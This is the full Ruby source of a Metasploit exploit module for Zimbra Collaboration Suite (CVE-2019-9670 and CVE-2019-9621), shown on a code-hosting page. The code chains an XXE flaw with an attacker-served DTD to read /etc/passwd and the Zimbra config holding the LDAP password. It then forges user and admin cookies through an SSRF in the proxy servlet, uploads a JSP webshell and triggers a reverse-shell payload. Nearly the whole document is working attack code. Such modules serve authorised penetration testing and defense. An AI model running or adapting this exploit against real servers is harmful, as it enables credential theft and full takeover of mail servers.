PageRenderTime 98ms CodeModel.GetById 14ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/linux/http/zimbra_xxe_rce.rb

https://github.com/rapid7/metasploit-framework
Ruby | 258 lines | 213 code | 40 blank | 5 comment | 9 complexity | b42049eb9c9de4811401181abe4e75ba MD5 | raw file
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Remote
  6. Rank = ExcellentRanking
  7. include Msf::Exploit::Remote::HttpClient
  8. include Msf::Exploit::Remote::HttpServer
  9. include Msf::Exploit::FileDropper
  10. def initialize(info = {})
  11. super(update_info(info,
  12. 'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
  13. 'Description' => %q{
  14. This module exploits an XML external entity vulnerability and a
  15. server side request forgery to get unauthenticated code execution
  16. on Zimbra Collaboration Suite. The XML external entity vulnerability
  17. in the Autodiscover Servlet is used to read a Zimbra configuration
  18. file that contains an LDAP password for the 'zimbra' account. The
  19. zimbra credentials are then used to get a user authentication cookie
  20. with an AuthRequest message. Using the user cookie, a server side request
  21. forgery in the Proxy Servlet is used to proxy an AuthRequest with
  22. the 'zimbra' credentials to the admin port to retrieve an admin
  23. cookie. After gaining an admin cookie the Client Upload servlet is
  24. used to upload a JSP webshell that can be triggered from the web
  25. server to get command execution on the host. The issues reportedly
  26. affect Zimbra Collaboration Suite v8.5 to v8.7.11.
  27. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
  28. UBUNTU16_64 FOSS edition.
  29. },
  30. 'Author' =>
  31. [
  32. 'An Trinh', # Discovery
  33. 'Khanh Viet Pham', # Discovery
  34. 'Jacob Robles' # Metasploit module
  35. ],
  36. 'License' => MSF_LICENSE,
  37. 'References' =>
  38. [
  39. ['CVE', '2019-9670'],
  40. ['CVE', '2019-9621'],
  41. ['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']
  42. ],
  43. 'Platform' => ['linux'],
  44. 'Arch' => ARCH_JAVA,
  45. 'Targets' =>
  46. [
  47. [ 'Automatic', { } ]
  48. ],
  49. 'DefaultOptions' => {
  50. 'RPORT' => 8443,
  51. 'SSL' => true,
  52. 'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
  53. },
  54. 'Stance' => Stance::Aggressive,
  55. 'DefaultTarget' => 0,
  56. 'DisclosureDate' => '2019-03-13' # Blog post date
  57. ))
  58. register_options [
  59. OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
  60. OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
  61. ]
  62. end
  63. def xxe_req(data)
  64. res = send_request_cgi({
  65. 'method' => 'POST',
  66. 'uri' => normalize_uri(target_uri, '/autodiscover'),
  67. 'encode_params' => false,
  68. 'data' => data
  69. })
  70. fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
  71. res
  72. end
  73. def soap_discover(check_soap=false)
  74. xml = REXML::Document.new
  75. xml.add_element('Autodiscover')
  76. xml.root.add_element('Request')
  77. req = xml.root.elements[1]
  78. req.add_element('EMailAddress')
  79. req.add_element('AcceptableResponseSchema')
  80. replace_text = 'REPLACE'
  81. req.elements['EMailAddress'].text = Faker::Internet.email
  82. req.elements['AcceptableResponseSchema'].text = replace_text
  83. doc = rand_text_alpha_lower(4..8)
  84. entity = rand_text_alpha_lower(4..8)
  85. local_file = '/etc/passwd'
  86. res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
  87. if check_soap
  88. local = "file://#{local_file}"
  89. res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
  90. res << "#{xml.to_s.sub(replace_text, "&#{entity};")}"
  91. else
  92. local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
  93. res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
  94. res << "%#{entity};]>"
  95. res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}"
  96. end
  97. res
  98. end
  99. def soap_auth(zimbra_user, zimbra_pass, admin=true)
  100. urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'
  101. xml = REXML::Document.new
  102. xml.add_element(
  103. 'soap:Envelope',
  104. {'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'}
  105. )
  106. xml.root.add_element('soap:Body')
  107. body = xml.root.elements[1]
  108. body.add_element(
  109. 'AuthRequest',
  110. {'xmlns' => urn}
  111. )
  112. zimbra_acc = body.elements[1]
  113. zimbra_acc.add_element(
  114. 'account',
  115. {'by' => 'adminName'}
  116. )
  117. zimbra_acc.add_element('password')
  118. zimbra_acc.elements['account'].text = zimbra_user
  119. zimbra_acc.elements['password'].text = zimbra_pass
  120. xml.to_s
  121. end
  122. def cookie_req(data)
  123. res = send_request_cgi({
  124. 'method' => 'POST',
  125. 'uri' => normalize_uri(target_uri, '/service/soap/'),
  126. 'data' => data
  127. })
  128. fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
  129. res
  130. end
  131. def proxy_req(data, auth_cookie)
  132. target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
  133. res = send_request_cgi({
  134. 'method' => 'POST',
  135. 'uri' => normalize_uri(target_uri, '/service/proxy/'),
  136. 'vars_get' => {'target' => target},
  137. 'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
  138. 'data' => data,
  139. 'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
  140. })
  141. fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
  142. res
  143. end
  144. def upload_file(file_name, contents, cookie)
  145. data = Rex::MIME::Message.new
  146. data.add_part(file_name, nil, nil, 'form-data; name="filename1"')
  147. data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
  148. data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')
  149. post_data = data.to_s
  150. send_request_cgi({
  151. 'method' => 'POST',
  152. 'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),
  153. 'ctype' => "multipart/form-data; boundary=#{data.bound}",
  154. 'data' => post_data,
  155. 'cookie' => cookie
  156. })
  157. end
  158. def check
  159. begin
  160. res = xxe_req(soap_discover(true))
  161. rescue Msf::Exploit::Failed
  162. return CheckCode::Unknown
  163. end
  164. if res.body.include?('zimbra')
  165. return CheckCode::Vulnerable
  166. end
  167. CheckCode::Unknown
  168. end
  169. def on_request_uri(cli, req)
  170. ent_file = rand_text_alpha_lower(4..8)
  171. ent_eval = rand_text_alpha_lower(4..8)
  172. dtd = <<~HERE
  173. <!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
  174. <!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">
  175. %#{ent_eval};
  176. HERE
  177. send_response(cli, dtd)
  178. end
  179. def primer
  180. datastore['SSL'] = @ssl
  181. res = xxe_req(soap_discover)
  182. fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value&gt;(.*?)&lt;\/value/m
  183. password = $1
  184. username = 'zimbra'
  185. print_good("Password found: #{password}")
  186. data = soap_auth(username, password, false)
  187. res = cookie_req(data)
  188. fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
  189. auth_cookie = $1
  190. print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")
  191. data = soap_auth(username, password)
  192. res = proxy_req(data, auth_cookie)
  193. fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
  194. admin_cookie = $1
  195. print_good("Admin cookie retrieved: #{admin_cookie}")
  196. stager_name = "#{rand_text_alpha(8..16)}.jsp"
  197. print_status('Uploading jsp shell')
  198. res = upload_file(stager_name, payload.encoded, admin_cookie)
  199. fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
  200. # Only shell sessions are supported
  201. register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")
  202. register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")
  203. register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")
  204. register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")
  205. print_status("Executing payload on /downloads/#{stager_name}")
  206. res = send_request_cgi({
  207. 'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"),
  208. 'cookie' => admin_cookie
  209. })
  210. end
  211. def exploit
  212. @ent_data = rand_text_alpha_lower(4..8)
  213. @ssl = datastore['SSL']
  214. datastore['SSL'] = false
  215. Timeout.timeout(datastore['HTTPDELAY']) { super }
  216. rescue Timeout::Error
  217. end
  218. end